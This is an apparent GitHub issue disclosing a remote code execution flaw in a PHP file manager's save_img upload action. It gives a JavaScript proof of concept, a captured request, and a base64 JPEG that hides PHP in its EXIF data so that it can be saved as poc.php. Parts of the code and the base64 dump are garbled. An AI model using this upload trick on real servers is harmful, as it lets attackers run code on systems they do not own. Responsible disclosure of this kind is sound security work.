





New issue

remote code execution vulnerability in ajax_calls.php in save_img action because of no validation on extension name. #600



⊙ Open) hackoclipse opened this issue on Mar 13, 2020 · 7 comments

hackoclipse commented on Mar 13, 2020

after taking another look at your application i noticed in the ajax_calls.php file in the "save_img" action that the "name" parameter doesn't validate the extension of the file. this makes it possible to upload php files to the server even when this normaly should not be allowed.

there was a miner validation to check if the data from the "url" parameter started with "data:image/jpeg;base64," and that the base64 encoded image is a valid image

a simple work arround to bypass this check is to upload a valid jpeg image, but that inside of exif data a php tag is send.

this makes it possible to send php code and that the extension becomes php what let to remote code execution

As poc i will send a normal image where the base64 encoded image contains phpinfo() as php code.

here is a simple javascript POC that will send a POST request to the page "http://192.168.0.29:3001/filemanager/ajax_calls.php?action=save_img" where the "parth" parameters is empty, the url contains my image with phpinfo in the exif data and the name is set to poc.php.

you will need to change the ip and port to your webserver and this code has to be runned on the filemanagers dialog, php page, because the session is validated and by running the code from the dialog page than the session is set and you won't get error's.

if you run this command from the browsers console in the dialog page than a new file would be created in the /source/ folder called poc.php. (UPLOAD_DIR) than just go to "http://YOURURL/source/poc.php" and you will see the phpinfo() code executed.

```
function submitRequest()
 var xhr = new XMLHttpRequest();
 xhr.open("POST", "http:///192.168.0.29:3001\/filemanager\/ajax_calls.php?action=save_img", true);
xhr.setRequestHeader("Accept", "*\/*");
 \label{lem:continuous} $$xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded; charset=UTF-8"); $$xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9"); $$
 xhr.withCredentials = true;
 xhr.send(new Blob([aBody]));
```



submitRequest();

here a copy of the burp request:

POST /filemanager/ajax_calls.php?action=save_img HTTP/1.1 Host: 192.168.0.29:3001 Content-Length: 56764 Accept: */*

Origin: http://192.168.0.29:3001 Accept-Language: en-US.en:q=0.9

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.0.29:3001/filemanager/dialog.php?type=0&lang=en_EN&popup=0&crossdomain=0&relative_url=0&akey=key&fldr=&5e6bc715afb8e&1584125986912

Accept-Encoding: gzip, deflate

Cookie: last_position=%2F; PHPSESSID=kn4afea6j9n4edic7ls3ji9838 Connection: close





and here a copy of the image urldecoded:

 AAE7AAIAAAAUAAAAWgITAAMAAAABAAEAAAAAAAAAAABIAAAAAAAAEgAAAABPD9waHAgcGhwaW5m

bygpOyA/PgD/2wCEAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwc KDcpLDAxNDQ0Hyc5PTgyPC4zNDIBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy cRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg50kNERUZHSE1KU1RVV1dYwVpj ZGVmZ2hpanN0dXZ3eH16g4SFhoeIiYqSk5SV1peYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsFI ycrS09TV1tfY2drh4uPkSebn6Onq8fLz9PX29/j5+gEAAWEBAQEBAQEBAQAAAAAAAAACCAwQFBgc1 CQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEk FiQ045XxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVwV1hZhmNkZWZnaGlqc3R1dnd4eXqCg4SF hoeIiYqSkSSVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsFlycrS09TV1tfY2dri4+TlSufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APf6KKKACjtRRQA09DS0h6GJFIAOpO1LkAdaYWGkCgAC jg@hFJuQcwuaMjNNHpTJJUQfMmGPUIQqRirthG81Q4xyKTK4z/OsW/1yO3BCMGPtWDda9cXByrGM AYwO/vXn18yp007M3jh3I7C4v4Lf/WyqPxrOm1+2iBIO70xXHSyyzt13L/U1FkE4GeO0a8ivnDex 2UBE2tTqX8VQHIEbE+uDUD+JFI+RcH3rBUEDoMf5k8oE5Irz5ZpKW5ssHY1X8QXJPAXH0qJtbuW7 D8qpeUCOAR7UCIDqDXLLHtmkcMkOe5knBBAAPWpINQ1sxiMA+5qPySeAeD3pDCFBAyw71ksbJ05o 6MIY1IPEVwhBdQV9hWnB4ntpWCshU+pHFcsUA5BI9SU0gkcjA9AOtehRzWUFqc88HfU9Ah1G3nGF lVs9gatiQY55+leaQPJDJujJX3zWva6/cxEZ+YDgk17GGzaMtzkqYVrY7XdkcDinDmsqx1aK7UAS Ax7VpqwI40c+lexRxMaiumckoO0g4DrRtpc+lHNdV9NCU2KKblmg06gQUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFHajNJmkAh6GIFJ2oyaQAehpvTrTs0xzjuAKUpKCuwWrshcjGR1qKSdY1y7AD61m32sQ2oKhssKSnUNZ1uVIGQPavJx0ZRp3szpp4eUtTb1DxCkS]YDuPSud uNTuZwS7HB7A1T3Ejpz60AMeQTmvncTmU53sz0aWGjHcUvv5YnPvSqoYdaesROCcmrC24GMA815U 68nq2dKpq0qKwix61MsQI4FW0gBHINSLCB0Fc7rMrnsrFRYTnOKkER9KtiPA6U4J9aylUbdyedlR Ysg5HNKIgTyKtbB6G12g9sUvaC9oyoIcZ4pDDnjp71c2Y7VHIo2kZpxqNjjU2Umj25+YGmmepFkd i3HGKelkCckgVqp30ZaqaalEgDoaYRzjoDWobGPHUVXmsmUZQ5+tbQm1syG4yK6yNCwKORj0Nbmr 67JGVSTkeprBwV0GXmjGDliR6YrvoY6dJ2T0MatCMloeh211H0gZGBz/ADqckgZrg7LUJLZhhuCc 4JrrbLUY71R8w3Y6Zr6rA5hGorSZ5dWhKBorS96arA+1Ln@r2FJNXRzDqKTNAoTAWiiimAUUUUAF

FFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABSUtIetACdqS1PSo3kCg+1ROahG7BJvQV2CKSTgC ue1bWQhMcTc9DSavrIjRoozljxXKyyMQzZyxPc18/j8fo1Fnfh8NfVizTs7MWbJJ71CHJOBim9QC etSxJivmaleU7tnqRpqK0BYmNWYODjjpYY2mrkacYrinU0KehHDETKYqwIwOMVIkZA4p4XFcspJIcxqKAOlOCGpFF0AFZuRk5akew4oCipQBigD2qXIXMM20bakAx2pcf5lzC5iuwOcCo2iYnFWttNwR kitISQ1Ir7QgxjmoyrMcnPHFWChLZNKQAOKvnKUiAIMck0hDKDg5FT7f1poT0aak3sPmSKUgDA5U A+tVmiIJL901abRZyKgkiGDWsaj51LhNMoY+YAdKnt717acFWIH1prx40R1qBsk8jFd2GxUo7CqU 1]HcafgMdvgwckDmtEWz06V55hXh20o7ScA9iX7a7gK3cOvRuA6V9f1+YRnaL75OToOOgNOHi]Br gIJ9qUd+vWvcTT1RyWH0Ug6UtMAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACkPWlpp oFsITjk1haxqYgUxocsRWtdTCKIsTXC39x587MCTgkV4mZ4vki0jrw1NSd2VJZmZ2duWqspJYnJw acxYSHY0IvOTXyM5ubu2exFKKshYkySD3PFXI41HBPNV94VcAZNTRh2X0DmueburG0bFmIYzirSA 1Ti3jqDVqJznBrjkiJMtLgLi1AOTmkQZGakQAS+tcz3OZsVRgc0oXNOwMUoFZtmbEwBRSkUAUK4r KTyRmoZL22hcJJKoY9BmuG8eeNBosf2S2YGccE55Ga8eu/E+pzzFmu58k5GG6V9TgMjdWPM9DCVd I+nBNE/Cupz0wc0MgIyenqa+b9K8a61YTq6zySAdnOQRXqPhX4j2+rgWU5CTHqZCMZ9q6a+QyitD KOLadjuHgzyOuKpyREkgjFXormKTChskcA54P0olTecMMD1FeJXwVWg9Vod1HEKejZk7GSUg9Kta bdtbXO4NwD0pJI8ZJ6dKqsmCckgHvVYWu6ck7m9SCmrHoNndpPCGUg8c1b3AjIrhtH1M2k4VmJQr HNdnDKsqhlIwwzX3WAxiqwSe541ek4S02LAIxQDTQo9aWvT9DnHZopB1paACiiigAooooAKKKKAC iiigAooooAKKKKAEzRnlxTcfWlAoAWmseKcaic4Un@GainUli2NK7MLXh0xgT1xg9SetclMwAPua Mtw3oDWK+XNfD5jWc6jR6+Fpq1xqjJySce1P+7wwwD0xTQMDFWLaLzTl+g6V5UpNaHbYfbwA nc2cdqsqVDYA4pHYY2L24qWKIbea55SC49GB42ipQin1BpqRAVKAAc1zyncychyZ5BHFSICM/WkG BUgHSsJMykKBkc04DFCjin49q23Zk2MPSgfSnY4oAqxXDHFAGadjg0AUCGYpSMAkcmnEcUh0Aaa(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 a@jNPdG1ka3heUp4ksUHBMpB/KvoewuSlymejKK+ffCtsZ/EdkFyS@mCR2r3iSJknt@BIIIHFZYy hdrRascM6nLUVjpVBGT/AHulTJwQDUCt8wB7AVMh5r8rx9L2ddpHuU25QTJh1FSp0qJTzUkdY02r 2KloPUZBpduaVRwaWu+FNNGTYmKbgVJimkYFKdNWEmyIjmmuMjFSU059K5ZwSLi3e5XPAK96WKcx SgKu1T1pzHnpUTZwR3NVgsXOhVTWxUoRmrM1WghuYx1VYHrmqzaFYuctbKT9TVW2uiAwBJxWrb3a OOo/Gv0DA5sqkVdnn1sFG90iGHR7KIgLAo71fEYXAUDaPQUbwc/MKPNVR1Feq8XBq7kZQoqGyHDF cYFVrqVUjYA84ptxerH3FY1zctPJjJA9q8TM8ygo0KZ10qLvcibLSMfejgilUcEUYwa/P68+abaF ShorDCoNVSYznpVthxURBIrOEmmRlqZssXJ7VWaJh+8bAEHitN0ySCKgeIYIrtpYhwkrGrtJWZo6LrLI4t5jkk5BPpXVI4YB15BFeeSKY80o5B7V1016iJYliJ+YDHNFZZMHM1Fs8rFUEndG+KM0zr zmnA54r6OMk0cAtAooFMBaKKKYBRRRQAUUUUAMFLQ01FLzEthkh+VvpXEasf9KcHr2rt5B8p+1cL qxzetXz2cu0Ttwi94zx1IqaOoAfmNTx9a+OqaM9qOxbjxjk44qzHAJbKYkknaQKqrkjA61raQpeC SJhnINd+T29urnn490UGjkdHk8q/Eb44fBBrr9f1G0g8PXb3DIIRGQUIHPFcpq9k91qPmqn070cV Ldwxaxpz210AySDBANfpsaalBNHykavspNM+c9R1R9Sm1jC+UzEjB7ZOKqr0ORjPSvTtW+FLG4Lw ZITqB6U3TPhXPJKGu5QsakZBz61iqb5rWOr63FK9yD4W6M11f5XjodsSgo5O+ef0r1lVM+opgZ6QaqaZp9rolobW1CggYJHetbQ4DPdhyCQvBNaVoKNNo4vaKrUVjSnjMRyRjI4oj6D6VPqZAkAxwBVZ B71+UZurV3Y+aw6/dpFhTznNSoRUSrx1aRMDvX1@ndhInBwMGlzxTFfHA5pxcY64r16TViK1xc4p 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 loObI9Q1DGVBrAmlLksTnmmXVyXJIJ61EjE rzXs0qPKj6Chh1FXFMnHApVBKFqYuGyKXcF+UGu1KyO1xstCS3yz81eQACqsShRkdTVpGGKwmzCT

fUmVgQaQjNIhODgd6cpI6isErsxsIEI5pwGBRkDrQXUA5NKzuCTE2c5pDTQ459KjkkVQdpJJq4pl JW3Fd8VAXJzzUhV2jLEYFRCBicnpWij1Ki0JvxSbznrTZTtOMVH155q0l1NVbqSs56iozI2aaSc4 Gaa6nHGc1pGxpFIGIGcDrUL7mb2NPSB5G24/Gr8VksYyxz9aHJCc1EpQWpLhjV1gFBz9KsZUghe1 Vjl3Cd81LloZSqaNmpotsTLvHSuwt1wg4rG0m32Qrkdq3kwBj2ryMV07seDi531YkbgDFRMTTief $\label{local_weight} $$ \begin{tabular}{ll} $Wo2IxiuKKSVzjUSNzwagk6GpHPBqIn5ea2hFyehvHRClwa3Xqr7iu8thiFR6CuL0eBpb0N1ANdugwoHpX2+SUnGNzyMbNOQ8UoptOHSvojgFooopgFFFFABRRRQA2gcUUtIErIhnGYmA9K4e5UiSkBHeuR0A2gcUUtIErihnGYmA9K4e5UiSkBHeuR0A2gcUUtIErihnGYmA9K4e5UiSkBHeuR0A2gcUUtIErihnGYmA9K4e5UiSkBHeuR0A2gcUUtIErihnGYmA9K4e5UiSkBHeuR0A2gcUUtIErihnGYmA9K4e5UiSkBHeuR0A2gcUUtIErihnGYmA9K4e5UiSkBHeuR0A2gcUUtIErihnGYmA9K4e5UiSkBHeuR0A2gcUUtIErihnGYmA9K4e5UiSkBHeuR0A2gcUUtIErihnGYmA9K4e5UiSkBHeuR0A2gcUUtIErihnGYmA9K4e5UiSkBHeuR0A2gcUUtIErihnGYmA9K4e5UiSkBHeuR0A2gcUUtIErihnGYmA9K4e5UiSkBHeuR0A2gcUUtIErihnGYmA9K4e5UiSkBHeuR0A2gcUUtIErihnGYmA9K4e5UiSkBHeuR0A2gcUUtIErihnGYmA9K4e5UiSkBHeuR0A2gcUutIErihnGYmA9K4$ 51GVYe1cXfDbduPU18vnsdLnZbHaRWVT6VZRAODUSDTq1GBiviJPV3PWb0EAwOOtKMgcingDBoT4 rFtGQzPGahklABOeBUxB59KpXOShxWlNc25pTim9TI10/CAgHH4VzFxdmVjkkg1o6oHDHOetY7Ec jvXt4emrH0GDpxIi4ORnmpCcRZH0qP8Aj6VKwJQAV17aHovTRDMmOIsep6U23HmHLdaS4JCBafar ewPVGhCmR9KnCEDpUET4HWpxKMda5Zxd9Dlmm2PBA4FDPgVE0oHNV3myTg0owYo029yd5eDg1C jBqs0mM8mhd78KDk9K0UF1L5U1qWGmYjAAA+tSwGJW+Ygk81HFp8suCxIrTtNJT+MSGetDcVo\ VakYorSTLL8ik49hTIoLhwQA202Qa6e00uyjwwAJ96kuJIlUqijjjitPdUb3PPWLfNZI5dNNdmy5 z7VOLBFUitFhyTkfSoT3rklUadjpVRy1M82iKDgVVMYMhUCtGYgKeapOg+aSRWkZuxvGbsWI41jG SBnFMkbOT+1SMGI4NRFSFOanmbdhK7epE3AJUc0tjCZroADJB6VG5IHHetnRbYg+YR1NOpL1RFeX JGyN2zjwgHYDmrqgio4QEU8dal3jHSvHqy5pM8KpK8hpPJqJyQaeWBOKic81muwIY5GMZqBycY71 I54zUaI0twEArtwsOaaijSTUY30k0C2KwbyuCa6DGBx+NVb0MRW6qBjgZ/KrW0K/QsDTV0CR8/WI zSuH0pw6U2nDpXf1MRaKKKYBRRRQAUUUUAN9aXpmik9a16NDGPyp9xXH6ogS/YAnBGa7F/uiuR1c YvSfavn88i7lzgwvxFlc5wBxVgM1UicYvatRmvh16S76t9C7TzilnAKdWEthmhGkYBEV7F4PfNW tMKA1rCXKXGVj19UtiwJxXMzR7XIIAr0C6thIpGK5jUNNYEsoyfSvVw9foexhMR0MEIAck080mcE 4NO1QxEh1NQsEcYI2+9ehGXMewpcyuE8Qk5BH4VFEWjJBK4prW7rkxuWpyxTk/Nt/OtGtC72RZSU D+IH2FDXAHSmC2kxk4x7GpVsy3U4rJ2u2OSuQGbJ6bilie9X49Pjzyclajs4U64qXJIh1UijDa7mG4jFX4YkQ8AZFBt0RsqTUfzqSQDxWTncxc3I0Y3AGAKmD5HBwPSs60Zx1FWEnUgS4NY09zmnTvuX 4SyowDTTKCckVAjqaswxLMQCwAzTUm3Y5pQjHUjfkggACo2BAJJAFa0lnbpFkuQ0KxpyGDBDkA0Sg73ClUUtilKTK5AzjpT44ig6U8KoA45IzS/MevSnsdilZAoPNV5s8461Z5UZNVZpBg460RepUZak EURlnEY5BPJrrrC32QquOlYujWmX81hnmupiTCjArnxVWysjgxda7sPRTxSsAAAXOKYx4rz07u55 lru4wnByelRMQehpzEc56VE+e1P11NIrQjduMd+tXNFiaa9DAcDrVFjgHPU8Cui8NWbRRM7c55Fe /10H56ibOfFz5YnQoMAD2p9NHWnGvu4RSVkeHe4Uo6UdgBVi6i0UUUxhRRRQAUUUUAMIo9TS0Y4I qeoIZ1ArktdYG8IPHFdaQeAOg61ga9YeYDMoyQK8rNqTnTdjow7tNXOfjIDAdqtITmqCtwSTgjrV iOXPevz6tBwm00ewrNE9SOMmng5EVhKCMVKiAirXK4u5DiPziN1m1BGOTSHECOTZiOarTwBgSOPy q3jHSkIypz@rSM3FlwktuSy9/pQflAc1z@lhJGxwbgV6C8AfPHFULjT1YEbRZXpUSSkrHpBWKHS 4bVyjB4oRlJ3zXQXekkZwKy5dNYZwCCK7IV1LqepTMZIg3NnC9PWpU1AODnNVnt5osgk4Flk+Dt ZTn1xWrs1oaK0tTRSQ55/CpBL7VRRyGGDkHmrKMCcE1hKBl0BOCSel0AIOcZFKCAM8YpyHJ6cVg2 0YvQSPBJyBTwihuacoGTninhABnrzScjOT0EWIFs5IFWYgyuCxGPamIP14F0LMRgIeKUdWYTd0TT PE3Tdn6nFUwhGcAEVahtJp+0gPenyacYQSZufSuhwbVzCE+V2M1UXJOC0e9SHG0BTpHUAkkcVWlNc4AzWLTTO2OqEkb5ySDgVHDEbmYALgZ5NSR28k747GtmxsBE0eSaTmooznVUUWrK3EaqA0grQHHC MYnsKAYaRgO3+Xm1n8zPKaT5mRnk00HGc0/HNRseDis4iihikEnFOMcKTUhPJaJgChzWvV7T1TsU bxG5uEQZ613NpCIoFUDoBXNaDab5f0I4U4zXWqMDj8K+4ybD2gmzx8ZUvKwu2lAxRzQM19CtDhDB oAxS0UwCiiigAooooAKKKKAEpKXmgUDG4qKaISIVIyDxU+KaR2zWdSCmmmCbTucPrOnNaXPmoCYy eQKz45d59K7+7s0uYSjjg964rUtNeym24JQ9CK+RzLLpJuSR6WHrpqz3CNugzmrKH3rMSXZxnPvV xJPlyDk18xVha6sd9rrQtqcU9SMc1WVzjtUmeOtcyTT1IcWSE0YyDTQwNOB4qrJ7CaDHFM2g5zUm $Q \\ Rimkc \\ 5zRdrYSTTK8sCnPFUpbQH+EVqnmomXPatIVnE3hV1E5+40/Of1/Ss2fTkOQVwfpXXNEG7VARAMAR \\ Q \\ Rimkc \\ SzRdrYSTTK8sCnPFUpbQH+EVqnmomXPatIVnE3hV1E5+40/Of1/Ss2fTkOQVwfpXXNEG7VARAMAR \\ Q \\ Rimkc \\ Q \\ Rimk$ BJZK4JxXTDFNbs7KeLa3OKlsZIjlORUKu6H5ga62awJyAOPeqEunAggrj6Cu2FeMkdsMTGS1ZmRy gAAnrVlXIGO1LLpxzkE5FIttKp55Aobi9iueLJUbvUocEdaiBp8cA00RP6Gs3a5Ls0WhMFXm1+1Y IwRioBGxGCDSrbEggipTSdyGo2J31SUDbHgE96ge5l1GXck+1PW1UnaQTmrEdoo6IPrWrraWRg4R TuzP8p5eSDVq3sgeSca0ILQkHIJ571fitgo+7XJ0vqZzrq0iZXgtFXGFA4q/HEBz2qQRADgU7BxiuSVVs4p1HIQADpSMcmjHloxwayv1ZC8xp61C/Q1MQahf1Bq4s0iRH71MIG00450ajfIX2reirzSK hVmdH4hANs/+/wD@roegrnvDnEs/PVs/nW/kkV+i5akgKseDiPiY+ik5or@zAWiiigAooooAKKKK ACiiigBM0ZpaKAEzQAOtLSGk2BGxbPtVa6tEnhKOA2e+OlW8UAZBrKrSjUi000MnF3RwepaQ9hIS uTGTkn0qpGxBwT0rv7m2SeN1cAg+orAuvDqjdJETn0r5jH5Zu4o9Khi7KzMeN859jUm84qpMj20p 